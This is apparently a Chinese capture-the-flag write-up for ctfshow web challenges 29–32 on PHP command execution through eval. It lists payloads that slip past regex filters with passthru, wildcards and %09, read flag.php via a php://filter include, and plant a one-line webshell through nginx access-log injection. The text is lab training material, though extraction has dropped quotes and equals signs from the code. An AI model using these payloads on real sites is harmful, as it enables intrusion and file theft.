ctfshow——web入门——命令执行

发布时间:2026/7/31 23:36:54
ctfshow——web入门——命令执行 web29命令执行需要严格的过滤?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:26:48 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }函数学习 int preg_match ( string $pattern , string $subject [, array $matches [, int $flags 0 [, int $offset 0 ]]] )# #搜索subject与pattern给定的正则表达式的一个匹配。 eval执行命令分析代码 if(!preg_match(/flag/i, $c)) #要想进入if就要绕过正则匹配即不能出现flag #传入的变量c会进入到eval函数执行。 #因此需要在绕过正则匹配的前提下找到并读取flag1.先找到flag在哪?csystem(ls);#system是执行函数,也可以换成其他的执行函数passthru(要查看源代码、exec、shell_exec。 执行函数 string system( string $command[, int $return_var] ) #本函数执行 command 参数所指定的命令并且输出执行结果。 void passthru( string $command[, int $return_var] ) #passthru() 函数是用来执行外部命令command的。 string exec( string $command[, array $output[, int $return_var]] ) #exec() 执行 command 参数所指定的命令。 string shell_exec( string $cmd) #本函数同执行操作符。回显中有flag.php因此选择读取flag.php2.读取flag.php的内容?csystem(cat fla?.php)读取函数 cat从第一行开始显示内容并将所有内容输出 tac从最后一行倒序显示内容并将所有内容输出 more根据窗口大小一页一页地显示文件内容 less根据窗口大小显示文件内容可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页 head用于显示文件的头几行 tail用于显示文件的尾几行 nl类似于 cat -n显示时输出行号 tailf类似于 tail -f实时显示文件尾部内容sort读取并排序文件内容通配符 * 匹配0个或多个字符 如:*.txt 匹配所有以txt为结尾的文件 ? 匹配单个字符 如:file?.txt 匹配file1.txt file2.txt file3.txt [] 匹配括号内的任意一个字符 如: file[1-3].txt 匹配file1.txt file2.txt [^] 匹配不在括号内的字符 如: file[^1-3].txt 匹配file4.txt file5.txt ! 表示取反 如:cat !(*.txt) 读取所有不是.txt结尾的文件web30?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:42:26 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题多过滤了system和php因此可以替换掉system用通配符绕过php。例?cpassthru(cat fla*);web31?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:49:10 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }发现没有限制passthru限制了空格用%09绕过空格经过url编码会变成%09?cpassthru(tac%09fla*);web32?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-04 00:12:34 # Last Modified by: h1xa # Last Modified time: 2020-09-04 00:56:31 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){ eval($c); } }else{ highlight_file(__FILE__); }本题把分号也过滤了考虑url/?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php还有一种方法日志注入url/?cinclude$_GET[1]?%3E1../../../../var/log/nginx/access.log/var/log/nginx/access.log是nginx默认的access日志路径访问该路径时在User-Agent中写入一句话木马然后用中国蚁剑连接即可